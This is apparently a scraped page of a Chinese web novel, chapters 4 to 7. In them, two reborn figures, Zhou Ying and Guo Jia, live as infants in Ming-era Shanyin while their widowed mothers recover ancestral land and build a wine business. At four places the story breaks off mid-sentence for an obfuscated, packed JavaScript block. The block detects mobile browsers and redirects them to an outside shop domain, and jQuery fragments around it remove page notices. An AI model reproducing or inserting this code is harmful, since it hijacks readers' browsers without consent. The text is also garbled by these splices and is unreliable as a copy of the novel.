周瑶红着眼眶,颇心疼不已的抱着孩子。 一时间场面全乱套了。 “好了,稍安勿躁。”也就在这时,沈致意开口了。 他皱了皱眉,深叹了一口气,心里则是在思忖,前些日子上头下发了命令,说这两人不可有大差错,事关杭州仁和县大案,当时牵连了好多人,抄家的抄家,砍头的砍头,流放的流放。 偏这仁和县令,自己折进去,亲眷倒算是安然无恙。 按照大明律法来说,基层县令失职,甚至牵进这么大的案子里头,诛九族都不为过啊。 这是什么意思呢? 这分明…上头斗的厉害啊。 就这两人,说不准是以后官场争斗的关键证人。 人是必然不能出事的,否则事情他都脱不了干系! 捋清楚思绪后,他瞧着这场闹剧,颇为无奈和蔼的开口:“我看呢,这样吧,周氏郭氏,两对孤儿寡母,实在可怜,我身为地方父母官,也见不得自己治下的百姓难过。” “再说……” “两位是刚烈女子,想来一路到绍兴,奔波劳累,作为宗亲领袖,总要接济接济。” 郭三越脸上微变,不过很快的反应了过来,看着哭闹不止的两个孩子,以及眼眶泛红的两个妇人,心里也是颇不甘不愿。 话到嘴口却是:“堂尊说的是,此事也是我想的不周全。” “那…这样吧,今日两位就安顿下来,毕竟郭怡到底是郭氏之人,咱们郭家总不能看着自家人受苦受难,而置之不顾。” “哼!”有人哼声不满。 反倒是周瑶又开口:“这就不必了,只是我们前来,实是想询问,当年郭怡出嫁,她父亲原先在郭氏的祖田,可否归还郭怡?” “呃…”郭三越被噎了一嘴。 “周氏!不要得寸进尺!我爹这已经是退一步了!”那原先拍桌起身的男人一身丝绸锦帛,此时气势汹汹,显然憋着一肚子火气。 “哪有妇道人家继承祖田的道理!” 周瑶被这般呛嘴,反倒是转头看向沈县令:“堂尊大人,敢问大明律法可有规定此事?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542605|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >几人看过来,就连擦着眼泪水,心里默念千年英明尽毁的周盈,都开始竖起耳朵听自己娘亲准备怎么操作了。 “这…大明律法明文规定,祖田份额,理论在父亲死后,由其男性子嗣继承。”沈致意脸上颇有尴尬,手捏着胡须,心里想了想,还是不要多插手此事了。 郭氏几人脸色缓和几分,郭三越也脸上带着几分不忍,刚要开口,便听郭怡又猛抢词道:“若是,叫嘉儿改母姓呢?” “……” 郭嘉恨不得鼓掌拍手:真是个小机灵鬼,真不错,他不用改姓了! “成何体统!不合规矩!”当即之下就有人开口反驳了! “此事…”郭三越脸色猛沉,也有些绷不住气了:“你既然嫁出去,已是外姓妇,如何能这般随便!” “我是父亲之女,身为郭氏女,如何不能让嘉儿与我同姓?” 周瑶适时开口:“父亲无子,亦有招赘婿之理。” “这、这…” “几亩祖田,郭氏家大业大,怎么,难不成还要占着孤儿寡母的田地?我等不过求个生计!尔等为何苦苦相逼啊!”说着话的功夫,郭怡又开始哭了起来,期期艾艾。 郭嘉:这我熟,开哭。 周盈是真要被他这熟练动作弄的无力吐槽了,然后自己也跟着哭起来了。 坏了,这都成二人的手段了。 一时间屋里头乱成一片,吵的人头疼。 沈致意皱眉,甩甩袖子,一句话出口:“行了行了!我说一句,郭三越,你好歹也是郭氏领袖,几亩祖田,分就分了,这事儿闹大了,对谁都不好。” 最后一句话颇有威胁意味,郭三越脸上有些吃瘪,民不斗官,如今县令都如此开口了,他还能说什么? 左右分的不是他沈县令的田地!不心疼! “好了,这事儿就这么办!即刻就办!要人手,衙门都有。”说完这句话,沈致意一挥袖,走出了门。 几个人听了这话,脸色更差了。 只有周瑶和郭怡的眼中透露出了不易察觉的喜色! 一番闹剧下来,这小小山阴县,郭周二母也是出名了,两个奶娃娃更是成了幼年知事,替母哭门的代表。 据说后面周盈和郭嘉听到自己名声是这么闯出来的,也都是黑了脸了,黑历史啊! 此都是后话。 两个抱着娃娃的妇人,出了郭氏门后,周瑶猛的举起周盈,脸上是抑制不住的笑意。 然后朝着周盈脸上猛的吧唧两口! “盈儿真棒!如今为母与你二婶有了田,可就有了立足根本了!” 周盈:呃……呵呵。 吧唧吧唧,几口亲下来,周盈眼里头透露出几分生无可恋。 母亲兴高采烈,奶娃娃可谓是“□□”了。 当然郭嘉也没好到哪里去。 郭奉孝:你不要过来!! 苍天,何时让他们快快长大!这奶娃娃身体,实在是不禁用啊! 当然当然,成长之路,这才刚刚开始呢~ 5. 第 5 章 且说上回,二母携子大闹郭氏,一时间山阴县里头,流言顿时整个传遍。有的人敬佩赞叹二母勇气智慧,亦有人觉得妇人抛头露面有伤风俗! 总之这些乱七八糟的声音,暂时和屋里头呼呼大睡的两个奶娃娃没什么关系。 有沈县令背书,即便是郭氏里头有人再不愿意,却也无可奈何此事。 两个母亲坐在灯下,手对着算盘,哒哒哒的打着响声。 “往年你父亲离世之后,郭氏那边吞了的祖田约莫有——三十亩。”周瑶拨完算盘,心里马上就算出来个大概。 “上等田产一亩约为2-3石,中亩为2左右,下亩便不足于此了。如此算来,若能全得这三十亩田,税收每亩一斗八升,再加……雇工,农本,约得也就说……得二十六石左右。” “一斗八升?!”郭怡对农事生疏,却也明白这不是小数目! “嗯。江南田赋本就重于他地,这衙门鱼鳞册写的是上等亩田,再加正赋、加耗、折银等等……咱们辛苦一年,约有四成都要填进这里面去。” 郭怡听的颇有些云里雾里,实在是……往日里她不管农事,如今算来,倒真是全要倚仗这个弟妹了。 “那这些粮,可够养大盈儿和嘉儿?” 被这么一问,低头细思的周瑶抬起头,烛火在她脸上照出一片暖色:“不够,只是吃饭开销将将够,更别提,往后孩子们上学读书,考取功名的开销了。” 这话说出口,原先因为得了田而高兴的二人,一时间心情也变得颇为沉重起来。 周瑶又言:“若不是先前为了聘请那支迎亲队伍,也就不用把你那只金镶玉镯子送出去了。” 当时情况紧急,孩子哭闹不止,非要拽着她衣襟,指着那支队伍,周瑶便也无奈,反倒是灵机一动,突想到了法子,实在是……颇为玄妙。 但细想下,自二人来到山阴县,似乎从最初准备找郭氏,到后来的事情发展,都有两个豆大点儿的奶娃娃脱不开的身影。 这么想着,周瑶深皱起来眉,朝着床面看过去。两个睡熟的孩子贴在一起,正在微弱灯火下酣睡着呢。 郭怡闻言,神情有些落寞:“这三十亩田,已是我父亲留在宗族的全部了。” “嫂嫂莫急,此事暂且不慌,如今有了这三十亩田,也算是暂时有了落脚点,咱们却也不能只光靠着这些薄田过日子。”周瑶看出她的窘迫和无奈,手拍了拍对方的手背宽慰。 “我虽商贾女,但赚钱的头脑还是有些许的,如今这田不够,便不能只盯着这些亩产,只能学着做些买卖生意,这才好过日子。” “这……”郭怡闻言,倒是不由迟疑,她知道自己这个妹夫素来有主见,却不想在这昏暗时刻,支撑起这个家的亦是一介女流。 不免的,郭怡眼眶有些红。 “是我没用。” “何出此言?若无嫂嫂叩门,我亦是不能成事的。”周瑶深叹一口气,低头一笑又道:“天无绝人之路,明儿我出去看看,有什么活计。” “嗯。” 于是一通夜间对话,二人敲定未来生活方针,昏昏室内,两位母亲都安然入睡。 不过一会儿睁开眼的周·小不点?盈,看着天花板,盘算着刚刚周瑶算的那笔帐,再转头一看,郭奉孝这会儿眼睛锃亮锃亮。 郭嘉:每亩一斗八?!真黑! 周盈:你拉倒吧,就汉末那水平,有资格说别人吗? 郭嘉:……那不一样!不一样! 周盈不语,其实是想说也说不了话,心想着这烂摊子开局,还真糟心啊,要是能快点长大就好了。 两个奶娃娃,你看我我看你,思忖着接下来怎么让家庭从赤贫变小康。 于是乎,夜色下,四只小手在空气中扑腾来扑腾去…… 周盈曰:浙江七山二水一分田,良田薄而税收重,实为何哉? 郭嘉曰:无田近水,譬如江东吴国,水路繁荣,却为交通枢纽,四通八达左可抵荆州,上可抗曹魏,下恤南蛮,右嘛……自是海运可期。 嘶……还真是。 周盈心里琢磨了一下,这江南富硕,却也并非一开始便如此的,浙江这种地方,田多山少,按秦汉时期,便是被冠以南蛮著称。 真正发展起来,还是宋明时期,因为这个时候水路发达,气候逐渐适宜,再加之东吴的南面大开发战略,扎扎实实给未来千年打下了地基。 但想要吃饱穿暖,无足够亩田,便只能叫人自己经商打拼了,这也是为何浙江商业发达的道理了。 郭奉孝瞥了他一眼,两个人现在说不了话,就只能眼神交流,揣度如何端看心有灵犀与否,不过就目前来看,配合的还不错。 周盈曰:种桑产丝,可为积累。此地丝绸纺织发达,加之母亲未抄家前积蓄与商贾经历,应当可以一试。 郭嘉表示:这个行,我看没问题。 两个幼崽狐狸一拍即合。 于是,第二天一早,周盈就哇哇大哭,非要粘着娘亲,要娘亲抱着,不让娘亲出门。 周瑶也是慌了,这孩子平时还挺安静的,甚至给人一种很好养活的感觉,怎么自己想出个门,突然就闹得这么厉害呢? 见着两人动静,郭怡忍俊不禁,手里勺子挖了蛋羹,一下就塞进刚准备开口嘲笑的郭嘉嘴里。 郭奉孝:其实不是很饿……有点噎。 “我瞧这孩子,怕是粘你呢。” 周瑶哄了个半天,也没见哄好,无奈下只道:“我这是要出去看生意的,带个孩子成何体统呢?” 寡妇抛头露面本就不适宜,更别提还带个孩子了。 “不妨事,如今你我都算是出了名了,带不带孩子的,还有什么关系呢?” 郭怡这话,点醒了周瑶。对啊,现今两人也算是山阴县的名人了,虽然这个名声……不一定是当事四人想要的(尤其周盈和郭嘉)。 但这个世道,不怕你出名,就怕你没声!作为一个名人,好歹一举一动都在大庭广众之下,凡出了些意外,第一时间便众人皆知。 好处是,这算个暂时的护身符。坏处嘛…… 低头瞧着眨巴眼睛,手抓着自己衣襟的幼崽,周瑶无奈一笑:“娘现在可算是名人寡妇了,你就是名人寡妇的儿子。” “往后可得出息点儿,否则辜负了这阵名声送的东风呢。” 周盈:……其实不是很想要这个名声。 于是周瑶便拿襁褓缠了带子,让周盈挂她胸前了。 临走之际,郭奉孝给他使了个眼色曰:莫忘昨夜事。周盈比划了个手势,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542606|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 跟着娘亲出了门。 这几日忙着安顿,倒也不曾出来见识过山阴县的繁华,且看左右两道皆是商贩小摊,沽酒作坊,布匹米粮,应有尽有。 “咿呀……呀!” “嗯?乖宝想要这个?”周瑶的脚步停在了酒家作坊门口,且看牌匾曰:绍兴第一黄酒。 “嗯!”周盈眨巴眨巴眼睛,一副呆萌可爱的模样。 周瑶则寻思着,怎么奶娃娃还能对酒感兴趣的呢。不过不等她多思考,那酒家掌柜就出门来了,是个袖子撩起,面相老实的中年人。 “哟,这位客人……诶?”此人一观站在门口抱着孩子的妇人,便皱了皱眉。 周盈:不好,我有不太妙的预感。 “哦!您就是那位,昨日替郭氏女迎亲归宗的周寡妇?” 周瑶:啊哈哈哈…… “哎呀!想必这孩子,就是替母哭门的二孝之一了!令郎真是容貌俊俏,一看便知神童降世!”掌柜的说的眉飞色舞,嗓子还极大! 一下子就吸引住了街道不少人注意力。 “什么?她就是昨日那位周寡妇?”这个是吃瓜群众。 “好个壮实寡妇,难怪昨日骑马不见分毫怯懦。子曰……”这个一听就是个读书人。 “我看那小娃娃瞧着年幼,一双大眼灵得很呢。”这个是母爱泛滥的姨姨。 周瑶抱紧了怀里幼崽,心里呵呵一笑,不是……这么出名吗? 但脸上沉稳,开口便言:“掌柜的,我看你这酒闻着倒挺香,且看你这牌匾自称绍兴第一?真有这么好?” 这话问到精髓,那掌柜心里一转,直接目露精光,这是打招牌和口碑的好时机啊!眼看自己铺子门口聚集这么多人!可不得抓住机会! “是极是极!我这酒,称第一,可没人敢称第二!” “周寡妇,您替郭氏女归宗,又为郭氏女要回了宗族私吞的祖田,已是咱们这儿出名的名人,我这酒送你一壶尝尝,不若您来评评如何?” 周瑶一笑接过酒,明白掌柜之意,却不急道:“掌柜好实在!不过这酒我万万不可白接受。” “您这第一得名头,怕是没少请秀才花钱提字?今日我若直接当街说好,如此随意,那便是轻慢。” 掌柜心里咯噔,心思一转,心道这周寡妇,还真精明呢!不一般。 开口语气更敬,稍行一礼道:“周娘子明白人,不知周娘子……可有更好法子?” 周瑶闻言凑近:“这酒,我不白喝你的。我替你品鉴扬名,您铺子里的状元红、女儿红,或是酒糟之流,可低价供我些,我有另用。” …… 一番虚与委蛇,推搡之下,周盈都开始打哈欠了,诶……大人的世界总是这么虚伪。 而在街头另一边,手捧着几卷书,正从私塾门口走来的少年士子,见到前面不远处人山人海,不免皱了皱眉。 “这是何情况?” 身侧仆人见状早已前去观摩,回来便开口:“少爷,前头,是最近出名的周寡妇。” “……”寡妇? 张岱思忖了一番,昨日发生的事情他亦有听闻,不免也带几分稀奇。 说到底还是个八九岁大的孩子,如何能有大人的稳健? “走,去看看。” 6. 第 6 章 这人挤人的,实在折腾!张岱手拽了拽领子,扯了扯自己衣襟,且看自己一身程子衣整洁如新,这才满意。 “老人家,这是什么情况?怎么这儿聚了这么多人?” “哎?哎呀!张相公,您怎么来这儿了?” 不错,张岱在山阴当地,也算是名人,不过如今张岱还不是自个儿出名,是因为他的家世显赫,只因是山阴当地的官宦世家,颇有分量。 张岱闻言,温雅一笑:“读书累了,出来走走,见着趣事,便问一问。” 那老汉便也呵呵一笑,张家在当地名声好,自然的老百姓也乐得与之说几句闲话。 “也不是什么大事,是前面老林家酒作坊门口,来了个周寡妇,就昨日帮着郭氏女归宗认亲的那个。” “那郭氏也真不是个东西,孤儿寡母跪在门口,却闭门不肯见,连几分薄田都要吞的一干二净,要不是周寡妇敲锣打鼓,咱们也都蒙在鼓里,县令老爷更见不着这事儿了!” “还好父母官念着咱们老百姓,帮郭氏女讨回公道。” 张岱闻言倒是心思一转,这山阴县令什么样的人,他还是知道的,左右不过是个圆滑的当地官员,至于父母不父母官的……实在是当屁放呢。 从小耳濡目染,张岱明白这些人心里都是什么心思,一时间便也没说什么,与老汉攀谈几句后,朝着边上酒楼走了过去。 这儿风景好,能见着。 且看那街道上,掌柜却是直接搬出桌子椅子来,上头摆放了几坛酒不说,连杯子,盛酒器皿都准备好了。 周盈在娘亲怀里,闻着一股浓浓酒味就开始阿巴巴了。他是真不喜欢酒这种东西,方才手拉衣襟,也是正好看上了这酒家酿酒剩下的酒槽。 这玩意儿可是好东西呢,能够拿来喂猪、喂鸡鸭等等,而牲畜粪便又可施肥农田,更能为将来种桑做打算。 不过显然,周瑶如今想法不仅如此了。 酒入碟中,一众围观群众便都看了仔细,太阳底下,琥珀色的酒散发出醇香绵密的味道。 周瑶一手托着怀里小周盈拍了拍,另一只手拿起酒杯,只细细摇晃间,嗅以轻闻:“香气醇厚,有焦香、蜜香,必是用了好酒粬!” “咿呀……啾(酒)!” 也就这时,众人见那周寡妇怀里,原先安静的小娃娃,咯咯一笑,猛的拍手。 “嘿!这小奶娃,还知酒的妙用?!” “稀奇,稀奇!古有神童甘罗出使赵国,今有奶娃闻酒嬉戏。” 周盈:……真是没脸见人了。 当然他心里头的声音,周瑶是听不见的,这会儿她颇为惊讶呢,低头一瞧眨巴眼睛的崽,实在忍俊不禁。 当即抬头朝着掌柜喊道:“掌柜的!你这酒,连奶娃娃都喜欢啊!这酒莫不是用了什么独门方子?” 且看那掌柜喜笑颜开,顿时“哎”了一声,开始借着台阶讲解了起来,一时间周围人群越发涌动。 “噗…”坐酒楼上的张岱,手捏着杯盏,忍不住轻笑出了声,这母子二人……倒还真是配合的天衣无缝了。 那小奶娃还真是稀奇,竟如此通晓人性? 且看街头,那掌柜已开始分发酒水,叫人免费品尝,咿呀装傻的奶娃娃手舞足蹈间引起更多人关注。 周盈心道,他真是千年英名尽毁了!堂堂周盈剑竟是也有装疯卖傻的一日…这次剧本挑的实在差劲。 不过想归想,泪流满面间也只能忍一忍了。 而随着周瑶转身,酒楼上,一道微倚栏杆,风流翩翩的少年人目光短暂与周盈对接。 霎时,周盈目光一顿。 此人… 酒楼上,张岱垂眸,轻抿茶水间,略皱了皱眉头。 长睫一扫道:“去,打壶酒来,便说是楼上客人要。” 侍奉一侧的小厮闻言迟疑:“少爷,这……”您才几岁,老爷不让您喝酒啊。 察觉他的动静,张岱目光斜睨过来: “怎么?” “我是使唤不动你了?酒都不会沽?” 小厮汗颜:“小的这便去。” 见人离去,张岱这才转回头看着楼下,心里莫名浮现了一句话:“市井有奇人,不独在朝堂。” 不过很快,他莞尔一笑,自己还真是,想太多了。 这厢,酒坊林掌柜是赚的盆满钵满,连带着什么女儿红、状元红的,都送了好些给周瑶。 街上的不少作坊店铺,甚至小摊贩的,见着名人效应如此有用,更是拽着周氏母子二人品鉴自家产品,非得说个几句话才能放人走不可。 当然,送的东西也不少,一时间周瑶左右手可谓是全拎满了。 周盈砸吧嘴巴,看着装载酒槽的坛子,再看一眼娘亲,却正巧撞上娘亲低头看他的目光。 “我儿聪慧。”周瑶意味深长。 “……”呵呵……嗯。 回到家,几个人因今日街道发生的事情而欣喜不已,郭怡尤为如此,拉着周瑶非要对方再说一遍,每每听到趣处,都是听的津津有味极了。 夜间,二母熟睡,周盈睁开眼。 此时睡了一个白天的郭嘉那是根本睡不着,睁着黑汪汪的眼珠子,正直勾勾看着他。 对郭奉孝来说,天天待在家里躺床上,实在是酷刑!真是闷都要闷死人了! 这个时候他还是有点儿羡慕周盈的,起码对方总能出去走走。 至于他这个生身母亲,实在是太文静了一些… 周盈忍着憋笑之意,其小胖手指指点点大意为:今日街上,我见着了个少年人,身着不凡,风度翩翩,当不是寻常人,你我来此,除振大明,却也有为巡阴司招揽人才之责。 郭奉孝默默深叹一口气,大约是被当成奶娃,日子过的已经有些生无可恋了。 爱咋咋地吧,能让他快点长大就行! 于是郭嘉曰:山阴名人,如今年代,又是少年人,是否为张岱?你要招选他? 周盈表示,自己可不仅是看着了张岱一人,来都来了,不把大明人才薅完,那可不是他周扒皮,雁过拔毛的性格。 周盈曰:我知你难受,不过,如今二母已落稳脚跟,商业之道也陈铺新路。既来此地,难不成奉孝不想与此地人杰切磋一二?亦或者说…能将这烂疮般的王朝整顿一新,也不失为一件趣事。 郭嘉觉得对方在给他画大饼,但是很可耻的是,他、他挺喜欢吃的。 于是黑夜中,两个人对视一笑,鬼精的眼睛里头,透出几分精光。 嘿…真正的风起云涌,这才要开始呢。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542607|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 经过这几日的折腾,周瑶和郭怡二人也算是成功把名人寡妇的名声打了出去,至于周盈和郭嘉嘛……自然也成为了如今山阴县的焦点之一。 当然这名声之风暂时的吹不到这俩人身上,暂时解决了生存危机,商业之路也成功起航,如今还是婴儿身的周盈和郭嘉,过起了吃饭睡觉打豆豆的无聊生活。 至于周瑶? 她就忙了起来了。 前些天里拿来的酒粬,已经被拿去喂了牲畜家禽。虽说是“迁富”,田地家财都被官府没收,但妇道人家的首饰金银依旧是归其所有。 于是两个母亲合计商量,买了些猪、鸡、鸭等关在笼子里养着。 三十亩的田地说大不大,被周瑶规划成了两半,一半拿来种粮食,一半也是用来试种桑苗。 家道中落是不假,但周瑶本就是商贾之女,以前家里生意亦不乏有丝绸布匹之行业。 母子俩心有灵犀,周盈一点一喊,周瑶就明白了些什么。 这样盘算下来,首先一半的田地产粮便保证了一户人家吃得饱饭,再加上若是遇到税收缴纳本色而非折银,也可以拿出粮食来缴纳,而不是用银钱去市场上换粮食,一来一回还得亏空不少。 第二,有了粮,才有可能进行酿酒等粮食精加工的活计,若是推出个什么自己家的专属酒品,借着周寡妇的名声,也能打出招牌来。 第三,桑叶成熟可喂蚕,而不是直接拿去找产丝大户卖,这样尽可能避免了被中间盘剥的可能。 第四,现在还是家里收益亏空状态。 因为马上要到夏天了,要收夏税了,这事儿母亲们精打细算了一番,如今家当财产,熬一熬就过去了。 且看这天高云远,日子一天天过去,一张写着密密麻麻税收项目的账单,便悄无声息落到了这户,由寡妇当家的家门口。 亦称之为:易知由单。 郭怡抱着郭嘉,手拿着这张纸眯着眼看,她先前不曾关注过这事儿,如今自己看起来,还真是头晕眼花。 而她怀里的小郭嘉,见着这上面账目,那可谓是眉头猛的一跳。 只见:沈县令一堆废话,略过。 其下:一户几丁几银,夏粮、本色、折银、加耗米、车脚银、驿站银、等等全部写上。 郭奉孝:……没见过这么乱七八糟的税收账单! 其中项目听过的、没听过的,不胜枚举,真可谓是百姓不识字,酷吏笑呵呵。 他也算是经过大风大浪的人了,心里算计了一番,只能深深叹息一口气。 这账目一下来,税一缴纳,半数收入就没了,原先听闻这大明也是个响当当的朝代,真涉身其中,方发现百姓日子不论何时何地,精打细算,亦不能有多余富足。 全是被税盘剥了去! 目光一闪,郭嘉凝视其中字曰:免粮之项。 “咿呀!” “哎?”郭怡没抱稳,这小娃娃一扑,手掌直接印在二字上。 “嘉儿怎么?对这易知由单感兴趣?” “咯…”我是对这个免粮感兴趣! “莫闹,撒手别扯坏了。” “唔!哇——!”一嗓子嚎,奶娃哭的哇哇大叫,带着几分气急的悲伤。 嗯……说不出话的郭奉孝,急哭了。 7. 第 7 章 周瑶回来的时候听了消息,又听了郭嘉那一番哭嚎动静,抱着周盈换了个姿势后,不免心里有个稀奇想法:两个孩子自打来到绍兴,便不哭不闹,而且事事帮衬如有神助。 莫不是……真乃神童? 这么想着,周瑶瞧了一眼尚在吸鼻子,哭狠了打嗝的郭嘉。 “来,周娘抱。” 原先妯娌,如今遭逢变故,早已将对方看做最亲的亲人般,便也将对方的孩子当做了自己亲生之骨肉。 小郭嘉被小心抱进怀里,还带着奶膘的脸蛋胖乎乎的,母亲照顾的好,没饿着也没风吹日晒,还是个白净的奶团子。 周盈在一旁简直是没眼看,郭奉孝这人,脸皮厚不说,实在是会装嫩。起码周盈活了几千上万年,真干不出这卖萌的事情。 “嘉儿是想学认字了?” “嘿!” “那周娘跟你说,这两个字什么意思好不好?” 周瑶怀里的小郭嘉喜笑颜开,从里屋出来的郭怡瞧见这场景,也颇稀奇的将手里饭菜放到桌边坐下。 “阿瑶,这是…” 听到动静,周瑶顿下解释的声音看了一眼郭怡,也不多说什么继续道:“这是‘易知由单’,是朝廷专门下发,给咱们老百姓看清楚要交多少粮食银钱的。” “‘夏粮’便是夏天要交的税。这个‘本色’呢,就是没有折合成银钱的粮食。这个‘折银’是粮食按价折合成银两。” “‘加耗米’便是为弥补起运粮食损耗额外征收的。至于‘车脚银’是粮食运输分摊给大家的杂费。” “还有…” 周瑶的解释头头是道,捋清的账目顿时就摊开在了众人面前,郭怡听得入神,不免微微皱眉:“为何这损耗,运粮都需要我们来缴费?” 这话问到点子上了,一旁默默倾听的周盈和郭嘉对视了一眼。 “远不止如此,驿站维护、衙门官府部分开支消耗,实际上都是税收抽调。”周瑶以前跟着父亲算过这笔账,对这些税收项目都是知道的。 以往家里富有,便也不觉得这笔支出有什么不妥,如今一家人艰难度日,光是税就要抽去一半左右,实在也是心疼的紧了。 “至于这免粮……”她迟疑了一下,看着一大两小颇为正色的表情。 忍俊不禁:“噗…两个小大人,一个傻大人。” 周盈/郭嘉:…… “……”郭怡一时间都不好意思了。 “免粮是专门给考取了功名进士、有功劳、官职等的人,免去、减少缴纳赋税的东西。” “!”两个奶娃娃顿时眼睛闪出绿光。 “但……我们现在没这个待遇。”周瑶一下子就把几个人的希望打灭了。 “咱们现在是罪臣亲眷,便是挂靠二嫂宗亲,郭氏的人也是不会愿意的。” 此话出口,郭怡也是神色暗淡了一些。而被周瑶抱着的郭嘉,心里是山呼海啸了,这个功名竟如此重要? 周盈则继续是一副板着脸的小大人模样,看来是陷入了沉思之中。 反应过来的小郭嘉猛的挣扎起来,在周瑶怀里,努力的用小手,笨拙的指了指屋里某个方向。 周瑶目露几分惊讶,而郭怡站起身早已将那头搁置的书籍拿了过来。 两人对视。 “嘉儿是说……要读书?” “嗯!”小郭嘉笨拙点头。 郭怡顿时眼眶一红,声音有些颤抖激动:“这、这……” 对比起郭怡的情绪失控,周瑶则转头看向一直陷入沉思的小周盈,眼里透露出几分复杂来。 一直到深夜,酣睡声音响起。 两个睁开眼的奶娃娃,召开了在大明的第三次会议。 本次会议主题:如何最快考取功名。 经过肢体语言的充分交流,两位参会人员心满意足安然入睡。 而睡在一侧的周瑶,浅浅叹了口气,微转身闭上眼。 接下来的一段时间里,无所事事的周盈和郭嘉,就被郭怡带着开始学起了字来。 说实在的,若是别的人瞧见,这一个寡妇,带着两个婴儿,在家门口晒着太阳,然后一边学字,一边跟着读。 那估计会觉得这个寡妇一定是疯了。 至于周瑶嘛,她现在是家里的唯一顶梁柱,出去抛头露面做生意的事情,全都是她一个人在办。 周寡妇的名声在山阴县也是越来越响,更是形成了一股暗流涌动的平静。 万历三十三年,除夕夜。 鞭炮声响。 夜间瑞雪渐丰。 “新年好啊!新年好,周寡妇!你家的孩儿笑,今日可还有余存呐?” 一道身着细软绢绸的中年人,站在了酒香逐渐飘散的作坊门口。 这人乐呵呵的,笑起来带着几分弥勒佛的神韵。 屋里头忙活的周瑶撩着袖子走了出来,她的眼尾有了些许的小皱纹,不过不妨事。 “赵秀才要的酒,当然是给你留着了!你等一下,我进去拿。” 周瑶笑着走进去,不多时便提着一坛小酒出来。先前不但是拿了那林掌柜的酒槽,周瑶还趁机偷学了点手艺。 当然,这孩儿笑还是挂了名儿在林掌柜那里出售的,对方可以从中抽取一些佣金。少有的几个贵客,可以直接来这儿提酒,能便宜点。 赵秀才拿了酒,当即是眉开眼笑了。 围观了全过程的周盈,不得不赞叹一句,真乃是商界奇才啊。才一年功夫,便将这简陋小作坊盘活成当地小有名气的寡妇坊。 果然,人的智慧是上天赐予的最珍贵之物。 “盈、盈!”说话还有些大舌头,不过好在是能说出几句基础话的郭奉孝,此时此刻穿着大红色的花棉袄。 整个人就差被包成粽子了! 周盈转头一看都没乐死。 对方目光透露出几分鄙视,大哥别笑话二哥好不好,你也穿的好不到哪去! “哎?你们两个,怎么跑出来了,外面多冷的风啊。”端着盆的郭怡瞧见两个已经能下地行走的奶娃娃此时此刻,一人占据了一侧台阶,排排坐着。 颇有些紧张的放下盆,于是郭怡一手抄起一个,也不顾两人死鱼眼一般的无语,直接进了门。 俗话说得好,有一种冷,是你妈妈觉得你冷。在这点上,周盈和郭嘉颇有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542608|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 体验。 见着这稀奇有趣场景的张岱,手上折扇半遮唇,眉眼带了几分的笑意。 “咦?是张公子,稀客呀。” 今日的张岱一身素白衣衫,往日的程子衣换了新年穿的丝绸锦缎,一身风度翩翩,广袖飘摇,丰润脸上俊白而素雅。 “我来沽酒,周娘子可有留着我的份?” 这事儿说来有趣,先前周瑶将酒送去林掌柜那儿后,张家人按往例差人来拿酒,便正好的被林掌柜推销了孩儿笑。 这不,如今这酒,也算是逐渐的名声渐起了。 “张公子那份,我早就藏好了!是最醇香的那一坛,稍等片刻。”周瑶边说边走,抱起一坛酒又道:“前些天又试酿了些别的酒,这会儿便一并送给张公子尝尝鲜吧。” “周娘子好会做生意,张某便也却之不恭了。这孩儿笑温润,家祖常酌,我便厚颜亲自叨扰。”提了酒转给身侧下人的张岱莞尔一笑。 “乡里乡亲的,这点东西也不算什么。”周瑶眯眼一笑间,刚要说些什么,就余光瞥见,门口一道小小影子不知何时,偷摸摸已经跑了出来。 两只脚摇摇晃晃,手里还拿着糖人:“嘛、妈……糖。” “……”一时间,屋外几个大人都停下了话头,只把目光放在这个,白白嫩嫩,眼睛水汪汪的奶娃娃身上。 “噗……小公子,倒还真是冰雪聪明。”张岱笑起来,那微弯的眼睛便细的跟狐狸一样,看着便不是个实心糯米糍。 周盈:……一切都是为了攀上张岱,一切都是为了考功名……忍! 闻言的周瑶也是吓了一跳,手随意一擦,直接要抱起孩子,结果这小家伙,脚步晃晃悠悠一转—— 